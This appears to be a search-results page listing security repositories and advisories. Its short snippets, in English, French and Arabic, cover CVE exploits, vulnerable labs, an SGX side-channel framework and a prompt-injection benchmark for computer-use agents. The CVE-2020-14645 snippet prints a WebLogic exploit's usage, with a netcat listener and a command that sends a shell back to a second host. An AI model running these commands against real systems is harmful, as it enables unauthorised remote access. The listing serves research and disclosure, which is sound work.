Vanguard-Map

VANGUARD1 — Multi-Domain Tactical Intelligence Map A real-time 3D map of the world's moving things: live ship traffic AIS, aircraft, satellites, submarine cables, ports, chokepoints, and space weather — rendered as a 1.5M-point terrain cloud with day/night, ocean simulation, and cinematic camera...

StepJack

StepJack : évaluation comparative de la sécurité des agents d'utilisation d'ordinateur face aux injections indirectes de prompts en plusieurs étapes Configuration 1. Configuration de l'environnement Python Tout d'abord, installez toutes les dépendances et assurez-vous d'exécuter Python 3.10. cond...

CVE-2025-49113

CVE-2025-49113 استغلال RCE طريقة التحقق من اسم المستخدم/كلمة المرور في هذا الاستغلال تتم عبر 4 خطوات الكود فوضوي بعض الشيء...

GO-2026-6609 vulnerabilities

Vulnerabilities for packages: karpenter, terragrunt, headlamp, prometheus-adapter, grafana-alloy, aactl, kyverno-policy-reporter-ui, temporal-ui-server, gitness, grafana, yunikorn-web, k6, ingress-nginx-controller, rancher-agent, grafana-pyroscope, gitlab-pages, loki, k8s-device-plugin, opencost,...

GHSA-F4XW-M386-M277 vulnerabilities

Vulnerabilities for packages: karpenter, terragrunt, headlamp, prometheus-adapter, grafana-alloy, aactl, kyverno-policy-reporter-ui, temporal-ui-server, gitness, grafana, yunikorn-web, k6, ingress-nginx-controller, rancher-agent, grafana-pyroscope, gitlab-pages, loki, k8s-device-plugin, opencost,...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python （mukammalah fi khatwa wahida） الاستخدام: Python3 exploit.py -t -c نصائح: بدون صدى No echo مثال： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' ثم ستحصل على شل...

sgx-step

إطار هجوم عملي للتحكم الدقيق في تنفيذ المنطقة الآمنة SGX-Step هو إطار مفتوح المصدر لتسهيل أبحاث هجمات القناة الجانبية على معالجات Intel x86 بشكل عام ومنصات Intel SGX بشكل خاص. يتكون SGX-Step من برنامج تشغيل لنواة لينكس خصمي ومكتبة نظام تشغيل صغيرة في مساحة المستخدم تسمح بتكوين إدخالات جدول الصفحا...

AiSOC

AiSOC Un centre d'opérations de sécurité IA open-source et auto-hébergeable. Il ingère votre télémétrie de sécurité, détecte et corrèle les menaces, les investigue avec des agents IA dont le raisonnement est entièrement auditable, et propose des réponses qu'un humain approuve. Guide technique PDF...

WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting

Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL. id:...

CVE-2026-107813

Versions 2.0.0 through 2.5.0 of Nginx UI are affected by an incomplete fix for CVE-2026-84315. The api/cluster router exposes sensitive node and namespace mutation operations, as well as cluster-wide Nginx reload or restart operations, using AuthRequired but failing to include RequireSecureSessio...

CVE-2026-107813 Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, the api/cluster router exposes node and namespace mutation operations and cluster-wide Nginx reload or restart operations with AuthRequired but without RequireSecureSession. An authenticated OTP-enabled user...

secdim-assurance-drift-challenge

SecDim Challenge Builder Repro — Dérive d'assurance Reproduction fonctionnelle pour un défi de sécurité proposé, inspiré de CVE-2026-88861 , publié le 10 septembre 2026. Concept de sécurité L'application vérifie correctement une session signée et contrôle correctement le rôle admin, mais elle...

cve-2025-21756

تحليل n-day لـ CVE-2025-21756 تحليل n-day لثغرة CVE-2025-21756 استنادًا إلى شرح Michael Hoefler. يختلف استغلالي عن الاستغلال الأصلي في خطوة الـ spray وبعض النقاط الصغيرة الأخرى. وهو هنا...

CVE-2026-71575

The maxage authentication-freshness check in OidcClientCodeRequestFilter was inoperative due to a milliseconds/seconds unit mismatch and an inverted comparison polarity. Any relying party using setMaxAgeOffset to enforce re-authentication would silently accept sessions of any age, bypassing step-...

EUVD-2026-95694

The maxage authentication-freshness check in OidcClientCodeRequestFilter was inoperative due to a milliseconds/seconds unit mismatch and an inverted comparison polarity. Any relying party using setMaxAgeOffset to enforce re-authentication would silently accept sessions of any age, bypassing step-...

PT-2026-108814

Name of the Vulnerable Software and Affected Versions Apache CXF versions prior to 4.2.4 Apache CXF versions prior to 4.1.9 Apache CXF versions prior to 3.6.13 Description An issue exists in the OidcClientCodeRequestFilter where the max age authentication-freshness check is inoperative. This is...

CLEANSTART-2026-CD04274 Security fix for ghsa-hrxh-6v49-42gf applied in: aws-network-policy-agent 1.2.7-r0, fabric-peer 3.1.5-r1, gotenberg 8.33.0-r0, step 0.30.2-r4, kube-state-metrics-fips 2.20.0-r4, eks-distro-kube-apiserver 1.36.8-r0, eks-distro-kube-apiserver-fips 1.36.8-r0

ghsa-hrxh-6v49-42gf affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-KW79982 Security fix for ghsa-259r-337f-4rfw applied in: aws-network-policy-agent 1.1.6-r4, caddy 2.11.4-r1, fabric-peer 2.5.16-r2, fabric-peer 3.1.5-r1, gotenberg 8.33.0-r0, kubernetes-dns-node-cache 1.23.1-r2, step 0.30.2-r4

ghsa-259r-337f-4rfw affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CVE-2026-54520

CVE-2026-54520 سمحت خطوة ملف سير العمل ai-agent-automation باجتياز المسار الذي يسمح بالقراءة/الكتابة خارج الدليل المتوقع. الإعلان الأساسي: GHSA-cm8g-8jfq-887p ائتمان الباحث: @chaitanyagarware في لمحة الحقل| القيمة ---|--- CVE| CVE-2026-54520 GHSA| GHSA-cm8g-8jfq-887p المشروع|...

CVE-2025-54068-livewire

CVE-2025-54068 - مختبر ضعيف لـ Livewire v3.6.3 يُعدّ هذا المجلد تطبيق Laravel + Livewire v3 بسيطاً مثبّتاً على Livewire 3.6.3 الضعيف لإعادة إنتاج CVE-2025-54068. المكون المثبّت مكتوب عمداً ليكون متوافقاً مع سلسلة الاستغلال العامة يسمح بخطوة التحويل إلى مصفوفة في المرحلة الأولى. بداية سريعة docker...